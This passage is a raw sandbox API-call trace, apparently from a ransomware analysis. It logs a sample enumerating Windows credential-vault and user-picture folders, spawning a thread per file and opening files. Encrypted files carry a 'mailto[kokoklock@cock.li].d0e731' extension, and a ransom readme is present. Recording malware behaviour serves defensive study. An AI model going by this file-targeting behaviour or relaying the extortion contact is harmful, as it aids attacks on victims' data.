RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0173.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30132d8) returned 1 [0173.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96be8) returned 1 [0173.527] RtlExitUserThread (Status=0x0) Thread: id = 2132 os_tid = 0x1238 [0173.529] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2fa23b8 [0173.529] wcscpy (in: _Dest=0x2fa23b8, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0173.529] wcscat (in: _Dest=0x2fa23b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0173.529] wcscat (in: _Dest=0x2fa23b8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\*") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\*" [0173.529] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0173.529] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x892acfd6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0xfd21dfd4, ftLastWriteTime.dwHighDateTime=0x1d5638a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f806a0 [0173.529] wcscmp (_String1=".", _String2=".") returned 0 [0173.529] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x892acfd6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0xfd21dfd4, ftLastWriteTime.dwHighDateTime=0x1d5638a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.529] wcscmp (_String1="..", _String2=".") returned 1 [0173.529] wcscmp (_String1="..", _String2="..") returned 0 [0173.529] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd21dfd4, ftCreationTime.dwHighDateTime=0x1d5638a, ftLastAccessTime.dwLowDateTime=0xfd21dfd4, ftLastAccessTime.dwHighDateTime=0x1d5638a, ftLastWriteTime.dwLowDateTime=0xfd21dfd4, ftLastWriteTime.dwHighDateTime=0x1d5638a, nFileSizeHigh=0x0, nFileSizeLow=0x9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", cAlternateFileName="154E23~1.VSC")) returned 1 [0173.529] wcscmp (_String1="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", _String2=".") returned 1 [0173.529] wcscmp (_String1="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", _String2="..") returned 1 [0173.529] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe4) returned 0x2fc42b0 [0173.529] wcscpy (in: _Dest=0x2fc42b0, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0173.529] wcscat (in: _Dest=0x2fc42b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0173.529] wcscat (in: _Dest=0x2fc42b0, _Source="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" [0174.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc42b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0174.125] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8912f699, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="154E23~1.D0E")) returned 1 [0174.125] wcscmp (_String1="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.125] wcscmp (_String1="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.125] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x2fe2d78 [0174.125] wcscpy (in: _Dest=0x2fe2d78, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0174.126] wcscat (in: _Dest=0x2fe2d78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0174.126] wcscat (in: _Dest=0x2fe2d78, _Source="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.mailto[kokoklock@cock.li].d0e731" [0174.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0174.126] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd21dfd4, ftCreationTime.dwHighDateTime=0x1d5638a, ftLastAccessTime.dwLowDateTime=0xfd21dfd4, ftLastAccessTime.dwHighDateTime=0x1d5638a, ftLastWriteTime.dwLowDateTime=0xfd21dfd4, ftLastWriteTime.dwHighDateTime=0x1d5638a, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", cAlternateFileName="2F1A65~1.VSC")) returned 1 [0174.126] wcscmp (_String1="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", _String2=".") returned 1 [0174.126] wcscmp (_String1="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", _String2="..") returned 1 [0174.126] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe4) returned 0x2fc4a30 [0174.126] wcscpy (in: _Dest=0x2fc4a30, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0174.126] wcscat (in: _Dest=0x2fc4a30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0174.126] wcscat (in: _Dest=0x2fc4a30, _Source="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" [0174.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc4a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0174.127] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8923a77a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="2F1A65~1.D0E")) returned 1 [0174.127] wcscmp (_String1="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.127] wcscmp (_String1="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.127] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x2fe2280 [0174.127] wcscpy (in: _Dest=0x2fe2280, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0174.127] wcscat (in: _Dest=0x2fe2280, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0174.127] wcscat (in: _Dest=0x2fe2280, _Source="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.mailto[kokoklock@cock.li].d0e731" [0174.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0174.128] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd21dfd4, ftCreationTime.dwHighDateTime=0x1d5638a, ftLastAccessTime.dwLowDateTime=0xfd21dfd4, ftLastAccessTime.dwHighDateTime=0x1d5638a, ftLastWriteTime.dwLowDateTime=0xfd21dfd4, ftLastWriteTime.dwHighDateTime=0x1d5638a, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x0, dwReserved1=0x0, cFileName="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", cAlternateFileName="3CCD54~1.VSC")) returned 1 [0174.128] wcscmp (_String1="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", _String2=".") returned 1 [0174.128] wcscmp (_String1="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", _String2="..") returned 1 [0174.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe4) returned 0x2fc4d00 [0174.128] wcscpy (in: _Dest=0x2fc4d00, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0174.128] wcscat (in: _Dest=0x2fc4d00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0174.128] wcscat (in: _Dest=0x2fc4d00, _Source="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" [0174.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc4d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0174.129] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x89286e3b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="3CCD54~1.D0E")) returned 1 [0174.129] wcscmp (_String1="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.129] wcscmp (_String1="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.129] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x2fe1b30 [0174.129] wcscpy (in: _Dest=0x2fe1b30, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0174.129] wcscat (in: _Dest=0x2fe1b30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0174.129] wcscat (in: _Dest=0x2fe1b30, _Source="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.mailto[kokoklock@cock.li].d0e731" [0174.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8 [0174.130] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89214518, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89214518, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89214518, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.130] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.130] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.130] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd1f7b6a, ftCreationTime.dwHighDateTime=0x1d5638a, ftLastAccessTime.dwLowDateTime=0xfd1f7b6a, ftLastAccessTime.dwHighDateTime=0x1d5638a, ftLastWriteTime.dwLowDateTime=0xfd1f7b6a, ftLastWriteTime.dwHighDateTime=0x1d5638a, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.vpol", cAlternateFileName="POLICY~1.VPO")) returned 1 [0174.130] wcscmp (_String1="Policy.vpol", _String2=".") returned 1 [0174.130] wcscmp (_String1="Policy.vpol", _String2="..") returned 1 [0174.130] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f920b0 [0174.130] wcscpy (in: _Dest=0x2f920b0, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0174.130] wcscat (in: _Dest=0x2f920b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0174.130] wcscat (in: _Dest=0x2f920b0, _Source="Policy.vpol" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" [0174.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f920b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc [0174.131] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02e0f2e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc02e0f2e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x892acfd6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.vpol.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="POLICY~1.D0E")) returned 1 [0174.131] wcscmp (_String1="Policy.vpol.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.131] wcscmp (_String1="Policy.vpol.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.131] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x3054d00 [0174.131] wcscpy (in: _Dest=0x3054d00, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0174.131] wcscat (in: _Dest=0x3054d00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0174.131] wcscat (in: _Dest=0x3054d00, _Source="Policy.vpol.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.mailto[kokoklock@cock.li].d0e731" [0174.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0174.132] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02e0f2e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc02e0f2e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x892acfd6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.vpol.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="POLICY~1.D0E")) returned 0 [0174.132] FindClose (in: hFindFile=0x2f806a0 | out: hFindFile=0x2f806a0) returned 1 [0174.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0174.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa23b8) returned 1 [0174.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf1d0) returned 1 [0174.132] RtlExitUserThread (Status=0x0) Thread: id = 2133 os_tid = 0x123c [0173.530] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default user.dat.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.531] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.531] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default user.dat.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.532] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.532] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e1e8) returned 1 [0173.532] RtlExitUserThread (Status=0x0) Thread: id = 2134 os_tid = 0x1240 [0173.533] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\fd1hvy.dat")) returned 0x20 [0173.534] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat", dwFileAttributes=0x20) returned 1 [0173.535] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\fd1hvy.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0173.535] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x19affcdc | out: lpFileSize=0x19affcdc*=0) returned 1 [0173.535] CloseHandle (hObject=0x56c) returned 1 [0173.535] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat", dwFileAttributes=0x20) returned 1 [0173.535] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6c5c8) returned 1 [0173.535] RtlExitUserThread (Status=0x0) Thread: id = 2135 os_tid = 0x1244 [0173.539] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.540] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.540] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.540] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.540] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b200) returned 1 [0173.540] RtlExitUserThread (Status=0x0) Thread: id = 2136 os_tid = 0x1248 [0173.541] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.541] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.542] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 